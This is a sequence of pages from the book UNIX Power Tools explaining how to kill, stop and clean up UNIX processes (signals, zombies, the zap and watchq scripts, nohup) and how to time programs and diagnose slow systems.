Sometimes, a process may still exist after a kill command. If this happens, execute the kill command with the -9 option, which sends the process signal 9, appropriately named KILL. This almost always guarantees that the process will be destroyed. However, it does not allow the dying process to clean up, and therefore may leave the process' files in an inconsistent state.

Occasionally, processes will not die even after being sent the KILL signal. The vast majority of such processes fall into one of three categories:

  • Zombies. A process in the zombie state (38.16) is displayed as Z status in BSDps displays and as <defunct> under System V . (38.5) When a process is exiting, it informs its parent of its imminent death; when it receives an acknowledgment, its PID is removed from the process table. A zombie process is one whose total resources have been freed, but the parent process' acknowledgment has not occurred. Usually, init will step in when the parent is gone, but very occasionally this fails to happen. Zombies are always cleared the next time the system is booted and do not adversely affect system performance.

  • Processes waiting for unavailable NFS (1.33) resources (for example, trying to write to a remote file on a system that has crashed) will not die if sent a KILL signal. Use the QUIT signal (3) or the INT (interrupt) signal (2) to kill such processes.

  • Processes waiting for a device to complete an operation before exiting. Often this means waiting for a tape to finish rewinding.

Killing a process may also kill all of its children. Child processes may not die if they're blocking or "catching" the signal you use-although, as explained above, the KILL signal (9) will usually terminate those processes. Killing a shell can therefore kill all the foreground and stopped background processes initiated from that shell (including other shells). Killing a user's login shell is equivalent to logging the user out. This is a useful (if somewhat painful) way to recover from certain kinds of problems. For example, if a user manages to confuse his editor by mistyping control keys and escape sequences, or enters an infinite loop that he can't terminate by normal means, killing his shell will let him regain control of the situation, possibly at the cost of some work. Use the ps command to determine which process is the offending user's shell. Remember that you must be superuser (1.24) in order to kill someone else's process.

- AF from O'Reilly & Associates' Essential System Administration, Chapter 7

Previous: 38.9 Killing Foreground Jobs | UNIX Power Tools | Next: 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script
38.9 Killing Foreground Jobs | Book Index | 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.10 Destroying Processes with kill Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.12 Killing All Your Processes

38.11 Printer Queue Watcher: A Restartable Daemon Shell Script

[This article may not appear to have a lot to do with the subject of this chapter, but it illustrates the other side of signal handling - what a program or shell script can do when it receives a signal. Jerry's script uses the trap (44.12) command to catch several different signals, and act differently depending on whether the signal is a "hangup" (HUP, or signal 1) or a TERM (signal 15). -TOR ]

UNIX systems run "daemon" programs like cron(8) and syslogd(8) that wait in the background, looking for work to do. Many daemons read configuration files when they start up. System administrators sometimes change the configuration files and want the daemon to re-read the file. One way to do that is by terminating and restarting the program - but that's ugly and also means the daemon won't be running for a few seconds until it's restarted. So, many daemons are designed to re-read their configuration files and/or restart themselves when they get a signal (usually, the HUP signal, signal 1). System administrators do this by getting the daemon's process ID number and sending the signal with the kill command. Because the daemon "catches" the signal, the daemon isn't actually killed.

You can run a shell script as a daemon by putting it in the background. [4] Here's a simple example, a shell script named watchq. It reads a file full of printer queue names and stores it in a shell variable. Every 30 seconds, it runs lpq (43.2) on all printer queues listed. If any queues have an error, the script echoes a message and the output of lpq to a particular user with the write (1.33) command.

[4] It's usually also a good idea to be sure that the input and outputs are redirected (13.1, 45.21) away from the terminal, maybe to the system console instead. On systems and shells that kill background jobs when you log out, use nohup (38.18).

After the script has run for a while, the printer named office goes down. I edit the watchqs file and remove that printer so the poor user lisa won't keep getting complaints about it. Then I send a signal to have the file re-read:

/dev/null
-

kill

% cat watchq
#! /bin/sh
# watchq - "daemon" script that watches printer queue(s) for errors
temp=/tmp/WATCHQ$$             # Holds output of lpq
watch=/usr/local/lib/watchqs   # Queue names to watch
writeto=lisa                   # User who gets notices about printer
queues="`cat $watch`"          # Put list of queue names in $queues
trap 'queues="`cat $watch`"' 1 # Reset $queues if we get a SIGHUP
trap 'rm -f $temp; exit' 0 15  # Clean up temp file when killed

# Loop forever (until someone kills script):
while :
do
    for queue in $queues
    do
        lpq -P$queue >$temp
        if egrep '(out of paper|error|warning)' $temp >/dev/null
        then echo "PRINTER QUEUE $queue:" | cat - $temp | write $writeto
        fi
    done
    sleep 30
done
% echo office main lobby > /usr/local/lib/watchqs
% watchq &
[1] 4363
   ...
% echo main lobby > /usr/local/lib/watchqs
% kill -1 4363
   ...
% kill 4363
[1]    Exit -48             watchq

In real life, the watchq script might be started from a system file like /etc/rc.local when the system reboots. Lisa would probably edit the watchqs file herself. The username that's notified by write might also be resettable with a kill -1.

This isn't foolproof and you can run into subtle problems. For instance, the write command may not work on some UNIXes if it's running from a daemon without a controlling tty (38.6). Also, the error messages that egrep (27.5) searches for may not catch all problems and are system-dependent. But this script is just a demonstration - to show a great way to write a quick-and-dirty daemon.

- JP

Previous: 38.10 Destroying Processes with kill | UNIX Power Tools | Next: 38.12 Killing All Your Processes
38.10 Destroying Processes with kill | Book Index | 38.12 Killing All Your Processes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.12 Killing All Your Processes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.13 Interactively Kill Processes Matching a Pattern

38.12 Killing All Your Processes

On many UNIX systems, kill (38.10) interprets the special "process ID" -1 as a command to signal all your processes (all processes with your user ID), except for the process sending the signal. So, for example, the command:

% kill -TERM -1

will terminate all your processes. [5] To see if your system supports this feature, type man 2 kill (50.1) to read the kill(2) manual page.

[5] Signal 15 is SIGTERM, which is the signal kill sends by default. In this command, you need to specify it explicitly, for obvious syntactic reasons.

You can use this to prevent background jobs from continuing after you logout; just stick kill -TERM -1 into your .logout file. There are some good reasons not to do this though: if you use several terminals, this will kill all your processes when you log out from any terminal.

This command is also useful in desperate situations. If processes are spawning out of control, or if your terminal is locked, you can log in from another terminal and kill everything, without having to dig through ps (38.5) to find the right process. [The zap (38.13) script searches process lists and kills processes automatically. -JP ]

The special -1 process ID is defined differently for the superuser; if you're root, it means "all processes except system processes."

If you can't use the -1 process ID, and you use the Bourne shell or another shell without job control, you can use a 0 (zero) process ID. That sends the signal to all members of the process group (that is, processes resulting from the current login). A 0 doesn't work on shells, like the C shell, that have job control (12.1).

- ML, JP, JIK

Previous: 38.11 Printer Queue Watcher: A Restartable Daemon Shell Script | UNIX Power Tools | Next: 38.13 Interactively Kill Processes Matching a Pattern
38.11 Printer Queue Watcher: A Restartable Daemon Shell Script | Book Index | 38.13 Interactively Kill Processes Matching a Pattern
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.13 Interactively Kill Processes Matching a Pattern

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.12 Killing All Your Processes Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.14 Processes Out of Control? Just STOP Them

38.13 Interactively Kill Processes Matching a Pattern

When you want to kill processes, it's a pain in the neck to run ps (38.5), figure out the process ID, and then kill the process. The zap shell script was presented by Brian Kernighan and Rob Pike in their classic book The UNIX Programming Environment. The script uses egrep (27.5) to pick the processes to kill; you can type extended expressions that match more than one process, such as:

% zap 'troff|fmat'
   PID TTY TIME CMD
 22117  01 0:02 fmat somefile? n
 22126  01 0:15 sqtroff -ms somefile? y

We've reprinted the script by permission of the authors:

`...`

#! /bin/sh
# zap pattern:  kill all processes matching pattern

PATH=/bin:/usr/bin
IFS='
'                   # just a newline
case $1 in
"")   echo 'Usage: zap [-2] pattern' 1>&2; exit 1 ;;
-*)   SIG=$1; shift
esac

echo '   PID TTY TIME CMD'
kill $SIG `pick \`ps -ag | egrep "$*"\` | awk '{print $1}'`

The ps -ag command displays all processes on the system. Leave off the a to get just your processes. Your version of ps may need different options (38.5).

This shell version of zap calls another script, pick, shown below. [6] pick shows each of its command-line arguments and waits for you to type y, q, or anything else. Answering y writes the line to standard output, answering q aborts pick without showing more lines, and any other answer shows the next input line without printing the current one. zap uses awk (33.11) to print the first argument (the process ID number) from any ps line you've selected with pick. The inner set of nested (45.31) backquotes (9.16) in zap pass pick the output of ps, filtered through egrep. Because the zap script has set the IFS variable (35.21) to just a newline, pick gets and displays each line of ps output as a single argument. The outer set of backquotes passes kill (38.10) the output of pick, filtered through awk.

[6] The MH mail system also has a command named pick. If you use MH, you could rename this script to something like choose.

If you're interested in shell programming and that explanation wasn't detailed enough, take a careful look at the scripts - they're really worth studying. (This book's shell programming chapters, 44 through 46, may help, too.) Here's the pick script:

-n /dev/tty

done <

#!/bin/sh
# pick:  select arguments

PATH=/bin:/usr/bin

for i
do
    echo -n "$i? " >/dev/tty
    read response
    case $response in
    y*)    echo $i ;;
    q*)    break
    esac
done </dev/tty

- JP

Previous: 38.12 Killing All Your Processes | UNIX Power Tools | Next: 38.14 Processes Out of Control? Just STOP Them
38.12 Killing All Your Processes | Book Index | 38.14 Processes Out of Control? Just STOP Them
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.14 Processes Out of Control? Just STOP Them

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.13 Interactively Kill Processes Matching a Pattern Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.15 Cleaning Up an Unkillable Process

38.14 Processes Out of Control? Just STOP Them

Especially if you're a programmer, you can run into a situation where you have processes forking (38.2) out of control - more and more of them. By the time you kill one, fifty more fork.

  • On systems with job control (12.1), there's a good answer: use the STOP signal to stop the processes:

    kill
    kill -STOP ...

    Stop any process you can. Then it won't be able to fork more processes. Stop them all. Then start cleaning up with kill -9.

  • If your system manager has set a per-user process limit on your computer, the good news is that your processes won't eventually crash the system. But the bad news is, when you try to run any command that isn't built into the shell (1.10):

    % ps
No more processes.

    you can't because you're already at your limit.

    If that happens, log on to another account or ask someone to run a command that will give a list of your processes. Depending on your system, the command is probably like one of these two:

    % ps -u yourname   System V
% ps aux | grep yourname   BSD

    Then go back to your terminal and start stopping :-). If you get the No more processes error, your shell must not have a built-in kill command. The C shell does. Carefully type the next command to replace your shell with a C shell. Don't make a mistake (if you do, you may not be able to log in again):

    exec
    $ exec /bin/csh
% kill ...

- JP

Previous: 38.13 Interactively Kill Processes Matching a Pattern | UNIX Power Tools | Next: 38.15 Cleaning Up an Unkillable Process
38.13 Interactively Kill Processes Matching a Pattern | Book Index | 38.15 Cleaning Up an Unkillable Process
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.15 Cleaning Up an Unkillable Process

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.14 Processes Out of Control? Just STOP Them Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.16 Why You Can't Kill a Zombie

38.15 Cleaning Up an Unkillable Process

You or another user might have a process that (according to ps (38.5)) has been sleeping for several days, waiting for input. If you can't kill (38.10) the process, even with kill -9, there may be a bug or some other problem.

  • These processes can be unkillable because they've made a request for a hardware device or network resource. UNIX has put them to sleep at a very high priority and the event that they are waiting on hasn't happened (because of a network problem, for example). This causes all other signals to be held until the hardware event occurs. The signal sent by kill doesn't do any good.

  • If the problem is with a terminal and you can get to the back of the terminal or the back of the computer, try unplugging the line from the port. Also, try typing CTRL-q on the keyboard - if the user typed CTRL-s while getting a lot of output, this may free the process.

  • Ask your vendor if there's a special command to reset the device driver (42.1). If there isn't, you may have to reboot the computer.

- JP

Previous: 38.14 Processes Out of Control? Just STOP Them | UNIX Power Tools | Next: 38.16 Why You Can't Kill a Zombie
38.14 Processes Out of Control? Just STOP Them | Book Index | 38.16 Why You Can't Kill a Zombie
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.16 Why You Can't Kill a Zombie

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.15 Cleaning Up an Unkillable Process Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.17 Automatically Kill Background Processes on Logout in csh

38.16 Why You Can't Kill a Zombie

[Processes in your ps output that are in the <exiting> or Z status are called zombies. -JP]

You cannot kill zombies; they are already dead.

"What is a zombie?" I hear you ask. "Why should a dead process stay around?"

Dead processes stick around for two principal reasons. The lesser of these is that they provide a sort of "context" for closing open file descriptors (38.3), and shutting down other resources (memory, swap space, and so forth). This generally happens immediately, and the process remains only for its major purpose: to hold on to its name and exit status (44.7).

A process is named by its process ID or PID. Each process also has associated with it a Parent Process ID. The parent PID is the PID of the process that created it via fork (38.2), or, if that particular process has since vanished, 1 (the PID of init (38.2)). While the original parent is around, it can remember the PIDs of its children. These PIDs cannot be re-used until the parent knows the children are done. The parent can also get a single byte of status (44.7) from each child. The wait system call looks for a zombie child, then "collects" it, making its PID available and returning that status. The init(8) program is always waiting, so that once a parent exits, init will collect all its children as they exit, and promptly ignore each status.

So, to get rid of a zombie, you must wait for it. If you have already done so or if the process' PPID is 1, the process is almost certainly stuck in a device driver (42.1) close routine, and if it remains that way forever, the driver has a bug.

- CT in comp.unix.questions on Usenet, 16 January 1989

Previous: 38.15 Cleaning Up an Unkillable Process | UNIX Power Tools | Next: 38.17 Automatically Kill Background Processes on Logout in csh
38.15 Cleaning Up an Unkillable Process | Book Index | 38.17 Automatically Kill Background Processes on Logout in csh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.17 Automatically Kill Background Processes on Logout in csh

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.16 Why You Can't Kill a Zombie Chapter 38
Starting, Stopping, and Killing Processes 		Next: 38.18 nohup

38.17 Automatically Kill Background Processes on Logout in csh

In many versions of the Bourne shell, background processes (1.26) are automatically killed with a HANGUP signal (signal 1) on logout. But the C shell makes background processes immune to signals and a HANGUP signal at logout doesn't affect the processes; they keep running.

If you want the C shell to work like the Bourne shell, put lines like these in your .logout file (3.1):

/tmp

! -z

-v

eval

set tf=/tmp/k$$
jobs >$tf
if (! -z $tf) then      # there are jobs
    jobs >$tf.1         # rerun it to dump `Done' jobs
                        # skip Stopped jobs (killed by default)
    grep -v Stopped <$tf.1 >$tf; rm $tf.1
                        # cannot use a pipe here
    if (! -z $tf) then  # there are running jobs
        eval `echo kill -1; sed 's/.\([0-9]*\).*/%\1/' <$tf`
    endif
endif
rm $tf

Warning: this may run afoul of various csh quirks (47.2). [To watch this work, put set verbose echo (8.17) at the top of your .logout file. If the logout process clears your screen or closes the window, you can give yourself n seconds to read the debugging output by adding sleep n (40.2) to the end of your .logout file. -JP ] The important trick is to run jobs >file, not jobs | command, as the latter runs jobs in a subshell (38.4) and thus produces no output, although jobs | any-csh-builtin is good for a laugh :-).

- CT in comp.unix.questions on Usenet, 5 August 1989

Previous: 38.16 Why You Can't Kill a Zombie | UNIX Power Tools | Next: 38.18 nohup
38.16 Why You Can't Kill a Zombie | Book Index | 38.18 nohup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 38] 38.18 nohup

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.17 Automatically Kill Background Processes on Logout in csh Chapter 38
Starting, Stopping, and Killing Processes 		Next: 39. Time and Performance

38.18 nohup

When UNIX first started, even local terminals very often communicated with the system via short-haul modems. (After all, UNIX was invented by the phone company.) When someone logged out, the modem hung up the phone - and conversely, if the modem hung up, a "hangup" signal was sent to the login shell, whereupon it terminated, bringing down all its child processes (38.3) with it.

In the C shell, processes that you run in the background are immune to hangups, but in the Bourne shell, a process that you started in the background might be abruptly terminated.

nohup
The nohup command ("no hangup") allows you to circumvent this. (The GNU version is on the CD-ROM.) Simply type:

$ nohup command &

Any output from command that would normally go to the terminal (i.e., has not been redirected) goes to a file named nohup.out in the current directory.

Of course, if you want to run jobs at off hours, you might do even better using at, cron, or batch (40.1).

nohup is sometimes handy in shell scripts to make them ignore the HUP and TERM signals (38.8), though trap (44.12) is more versatile. (In System V, nohup causes a command to ignore HUP and QUIT, but not TERM.)

- TOR

Previous: 38.17 Automatically Kill Background Processes on Logout in csh | UNIX Power Tools | Next: 39. Time and Performance
38.17 Automatically Kill Background Processes on Logout in csh | Book Index | 39. Time and Performance
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] Time and Performance

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 38.18 nohup Chapter 39 Next: 39.2 Timing Programs

39. Time and Performance

Contents:
Which Time Is It?
Timing Programs
The csh time variable
Average Command Runtimes with runtime
Why Is the System So Slow?
lastcomm: What Commands Are Running and How Long Do They Take?
Checking System Load: uptime
A Big Environment Can Slow You Down
Know When to Be "nice" to OTher Users...and When Not to
A nice Gotcha
Changing a Job's Priority Under BSD UNIX
What Makes Your Computer Slow? How Do You Fix It?

39.1 Which Time Is It?

When we talk about "time" on UNIX systems, we could be talking about two things:

  1. What time it is, as shown by the date (51.10) command, and recorded in countless ways - as file creation and modification times, as the time of last login, and so on.

  2. How long things take.

This chapter is concerned with the latter. It talks about how long programs take to run, what makes them faster or slower, and what you can (or more often can't) do about it.

- TOR

Previous: 38.18 nohup | UNIX Power Tools | Next: 39.2 Timing Programs
38.18 nohup | Book Index | 39.2 Timing Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.2 Timing Programs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.1 Which Time Is It? Chapter 39
Time and Performance 		Next: 39.3 The csh time variable

39.2 Timing Programs

Two commands, time and /bin/time, provide simple timings. Their information is highly accurate, because no profiling overhead distorts the program's performance. Neither program provides any analysis on the routine or trace level. They report the total execution time, some other global statistics, and nothing more. You can use them on any program.

time and /bin/time differ primarily in that time is built into the C shell. Therefore, it cannot be used in Bourne shell scripts or in makefiles. It also cannot be used if you prefer the Bourne shell (sh). /bin/time is an independent executable file and therefore can be used in any situation. To get a simple program timing, enter either time or /bin/time, followed by the command you would normally use to execute the program. For example, to time a program named analyze, enter the following command:

% time analyze inputdata outputfile
9.0u 6.7s 0:30 18% 23+24k 285+148io 625pf+0w

This indicates that the program spent 9.0 seconds on behalf of the user (user time), 6.7 seconds on behalf of the system (system time, or time spent executing UNIX kernel routines on the user's behalf), and a total of 30 seconds elapsed time. Elapsed time is the wall clock time from the moment you enter the command until it terminates, including time spent waiting for other users, I/O time, etc.

By definition, the elapsed time is greater than your total CPU time and can even be several times larger. You can set programs to be timed automatically (without typing time first) or change the output format by setting the csh time variable (39.3).

The example above shows the CPU time as a percentage of the elapsed time (18 percent). The remaining data report virtual memory management and I/O statistics. The meaning varies, depending on your shell; check your online csh manual page or article 39.3.

In this example, under SunOS 4.1.1, the other fields show the amount of shared memory used, the amount of nonshared memory used (k), the number of block input and output operations (io), and the number of page faults plus the number of swaps (pf and w). The memory management figures are unreliable in many implementations, so take them with a grain of salt.

/bin/time reports only the real time (elapsed time), user time, and system time. For example:

% /bin/time analyze inputdata outputfile
       60.8 real        11.4 user         4.6 sys

[If you use the Bourne shell, you can just type time. -JP ] This reports that the program ran for 60.8 seconds before terminating, using 11.4 seconds of user time and 4.6 seconds of system time, for a total of 16 seconds of CPU time.

There's a third timer on many systems: timex. It can give much more detail if your system has process accounting enabled. Check the timex(1) manpage.

Article 39.5 has more about the terms used in this article.

- ML from O'Reilly & Associates' UNIX for FORTRAN Programmers, Chapter 8

Previous: 39.1 Which Time Is It? | UNIX Power Tools | Next: 39.3 The csh time variable
39.1 Which Time Is It? | Book Index | 39.3 The csh time variable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.3 The csh time variable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.2 Timing Programs Chapter 39
Time and Performance 		Next: 39.4 Average Command Runtimes with runtime

39.3 The csh time variable

The C shell's variable named time controls the built-in csh time command (39.2). It lets you run time by default on commands that take more than a certain number of CPU seconds, and it lets you control the format of time's output.

We'll start with the simple stuff. On virtually any UNIX system, you can use the time shell variable (6.8) to run time automatically when commands take more than a set amount of CPU time. Decide what your threshhold is (i.e., the point at which you want time to run automatically), in CPU seconds. Then set the time shell variable to this number. For example, if you want to run time automatically on programs that require more than 10 CPU seconds, give the command:

nroff
% set time=10
% ls
file1.ms   file2.ms   file3.ms
% nroff -ms *.ms | lpr
4.3u 9.8s 0:23 60% 0+200k 106+103io 143pf+0w

The ls command didn't generate a time report because it ran in well under 10 seconds. The nroff command took about 14.1 CPU seconds, so it did generate a report.

Why would you want to do this? It lets you monitor the performance of long jobs automatically without being bothered by statistics for the small jobs.

On many C shells, you can also use the time variable to customize the timing report. Sometimes this is useful; the standard report gives you a lot of information, but it's pretty ugly. For some reason, this feature often goes undocumented.

To customize a timing report, give a command like this:

% set time=(threshold "format-string")

Note that you have to give a threshold, whether you want one or not. If you don't want execution times reported automatically, set threshold to some large number.

The format string can be any combination of text and tags. Each tag causes time to insert particular statistics. The valid tags seem to vary some from system-to-system (and are undocumented some places, so you may not be able to tell). We've used two sources: a version for 4.1BSD written by Mark Wittenberg and one supplied with Solaris 2.4. Where the two are different, Mark's is labeled A> and Sun's is B>.

%D

A> Average kilobytes of resident data+stack pages.

B> Average amount of unshared data space used, in kilobytes. This excludes any "shared data." Shared memory is a relatively new feature; many programs don't use it.

%E

The elapsed time required to execute the program. This is the amount of time you'd measure if you sat with a stopwatch and waited for the program to finish; it's often called "wall clock" time.

%F

The number of page faults; i.e., the number of times UNIX had to bring a page of virtual memory in from disk. A large number of page faults may mean that your program is taking an unnecessarily long time to run, and you can fix the problem by buying more memory.

%I

The number of block input operations. This is the number of times the program needed to read data from disk.

%K

A> Average kilobytes of resident text+data+stack pages.

B> Average amount of unshared stack space used, in kilobytes.

%M

The maximum amount of real memory (physical memory) used by the program during execution, in kilobytes. (On 17 October 1986, Daniel V. Klein reported on Usenet net.unix that the amount %M gives is really just half the maximum. The number does seem to be smaller than %K sometimes, so Daniel is probably right. Don't you love undocumented features?)

%O

The number of block output operations.

%P

The program's total CPU time, as a percentage of elapsed time. If you're the only user on the system and the program does little I/O, this should be close to 100%. It will decrease as the program's I/O requirements and the system's overall load increase.

%S

CPU system time; the number of seconds the CPU spent in the "system" state on behalf of your program - i.e., how much time the system spent executing system calls on behalf of your program.

%U

CPU user time; the number of seconds the CPU spent in the "user" state on behalf of your program - i.e., how much time the system spent executing your program itself.

%W

The number of "swaps"; the number of times the system needed to move your whole program to disk in order to free memory. If this is non-zero, your system needs more memory.

%X

A> Average kilobytes of resident text pages.

B> The average amount of shared memory that your program required, in kilobytes.

For example, let's say that we want time statistics for programs that require more than 10 seconds of CPU time, and that we want to report the system time, the user time, and the elapsed time.

Despite the huge number of statistics you can get, these are all that you really care about, unless you're a performance expert. To do so, we'll set the time variable like this (you can also set it in your .cshrc file (2.2)):

% set time=(10 "System time: %S  User time: %U  Elapsed time: %E")
% nroff -man * > /dev/null
System time: 0.3  User time: 41.2  Elapsed time: 0:43

This report is much clearer than the mess you get by default. It shows clearly that the nroff command required 0.3 seconds of system-state CPU time, 41.2 seconds of user-state CPU time, and a total elapsed time of 43 seconds.

NOTE: I have seen a note somewhere saying that many of time's more obscure statistics weren't reported correctly. By "obscure statistics," I mean page faults, average amount of unshared stack space, and the like. You can trust the user and system CPU time, the elapsed time, and other basic statistics, but if you really care about the fancy statistics, beware. I seriously doubt that any vendor has fixed these problems.

- ML, JP

Previous: 39.2 Timing Programs | UNIX Power Tools | Next: 39.4 Average Command Runtimes with runtime
39.2 Timing Programs | Book Index | 39.4 Average Command Runtimes with runtime
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.4 Average Command Runtimes with runtime

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.3 The csh time variable Chapter 39
Time and Performance 		Next: 39.5 Why Is the System So Slow?

39.4 Average Command Runtimes with runtime

runtime
The time command (39.2) will time a single run of a command - but the results can vary from run to run. The runtime script runs a command the number of times you specify, then averages the results. For example:

% runtime -5 getdata 0.5 outfile
   ...wait a while...
runtime summary - 5 runs of
   % getdata 0.5 outfile
(working directory = /users/jerry/.src/getdata)

First run started at: Thu Mar 19 09:33:58 EST 1992
Last run finished at: Thu Mar 19 09:36:41 EST 1992
------------------------

 RUN #      ***INDIVIDUAL RESULTS***
     1   1.0u 7.4s 1:06 12% 0+108k 0+0io 0pf+0w
     2   0.2u 0.8s 0:05 16% 0+128k 0+0io 0pf+0w
     3   0.2u 1.3s 0:11 13% 0+116k 0+0io 0pf+0w
     4   0.4u 2.7s 0:25 12% 0+108k 0+0io 0pf+0w
     5   0.9u 5.9s 0:53 12% 0+108k 0+0io 0pf+0w

AVERAGES:
 0.54u  3.62s 0:32 0+113k 0+0io 0pf+0w

It's good for testing different versions of a program to find the fastest (or slowest!). If you're writing a program that will run a lot, shaving 10% or 20% off its time can be worth the work.

Note that the command you run can't have any redirection in it; that's because runtime does some redirection of its own. You can redirect the output of runtime into a log file though, and run the whole mess in the background. For example:

% runtime -5 getdata 0.5 outfile > runtime.out &
[1] 12233

The summary will go to the runtime.out file.

- JP

Previous: 39.3 The csh time variable | UNIX Power Tools | Next: 39.5 Why Is the System So Slow?
39.3 The csh time variable | Book Index | 39.5 Why Is the System So Slow?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.5 Why Is the System So Slow?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.4 Average Command Runtimes with runtime Chapter 39
Time and Performance 		Next: 39.6 lastcomm: What Commands Are Running and How Long Do They Take?

39.5 Why Is the System So Slow?

To a user, performance means: "How much time does it take to run my job?" For a system manager, this question is much too simple: a user's job may take a long time to execute because it is badly written or because it doesn't really use the computer appropriately. Furthermore, a system manager must optimize performance for all system users - which is much more complicated than optimizing performance for a single user. Here are some of the things that affect performance.

The UNIX utility /bin/time (39.2) reports the amount of time required to execute a program, breaking down the total time into several important components. For example, consider the report below:

% /bin/time application  4.8 real      0.5 user      0.7 sys

This report shows that the program ran in roughly 4.8 seconds. This is the elapsed or wallclock time: it is the actual time that the program runs as it would be measured by a user sitting at the terminal with a stopwatch. The amount of time that the system spent working on your program is much smaller. It spent 0.5 seconds of user time, which is time spent executing code in the user state, and about 0.7 seconds of system time, which is time spent in the system state (i.e., time spent executing UNIX system code) on behalf of the user. The total amount of CPU time (actual execution time on the main processor) was only 1.2 seconds, or only one-quarter of the elapsed time. [1]

[1] Note that BSD and System V versions of /bin/time have different output formats but provide the same information. /bin/time also differs from the C shell's time command , (39.3) which provides a more elaborate report.

Where did the rest of the time go? Some time was spent performing I/O (text input/output) operations, which /bin/time doesn't report. Handling I/O requires some computation, which is attributed to system time. But time that is spent by disk drives, network interfaces, terminal controllers, or other hardware isn't accounted for; most of the time was spent running jobs on behalf of other users. This entails its own performance overhead (context-switch time, swapping time, etc.).

Many different components contribute to a program's total running time. When you understand the roles these components play, you will understand the problem. Here is a summary of the different components:

  • User-state CPU time. The actual amount of time the CPU spends running your program in the user state. It includes time spent executing library functions but excludes time spent executing system calls (i.e., time spent in the UNIX kernel on behalf of the process). Programmers can control user-state time by knowing which library routines are efficient and which aren't, and they should know how to run profilers on the program to find out where it's spending its time.

  • System-state CPU time. The amount of time the CPU spends in the system state (i.e., the amount of time spent executing kernel code) on behalf of the program. This includes time spent executing system calls and performing administrative functions on the program's behalf. The distinction between time spent in simple library routines and time spent in system services is important and often confused. A call to strcpy, which copies a character string, executes entirely in the user state because it doesn't require any special handling by the kernel. Calls to printf, fork, and many other routines are much more complex. These functions do require services from the UNIX kernel so they spend part of their time, if not most of it, in the system state. All I/O routines require the kernel's services.

    System-state CPU time is partially under the programmer's control. Although programmers cannot change the amount of time it takes to service any system call, they can rewrite the program to issue system calls more efficiently (for example, to make I/O transfers in larger blocks).

  • I/O time. The amount of time the I/O subsystem spends servicing the I/O requests that the job issues. Under UNIX, I/O time is difficult to measure; however, there are some tools for determining whether the I/O system is overloaded and some configuration considerations that can help alleviate load problems.

  • Network time. The amount of time that the I/O subsystem spends servicing network requests that the job issues. This is really a subcategory of I/O time and depends critically on configuration and usage issues.

  • Time spent running other programs. As system load increases, the CPU spends less time working on any given job, thus increasing the elapsed time required to run the job. This is an annoyance, but barring some problem with I/O or virtual memory performance, there is little you can do about it.

  • Virtual memory performance. This is by far the most complex aspect of system performance. Ideally, all active jobs would remain in the system's physical memory at all times. But when physical memory is fully occupied, the operating system starts moving parts of jobs to disk, thus freeing memory for the job it wants to run. This takes time. It also takes time when these disk-bound jobs need to run again and therefore need to be moved back into memory. When running jobs with extremely large memory requirements, system performance can degrade significantly.

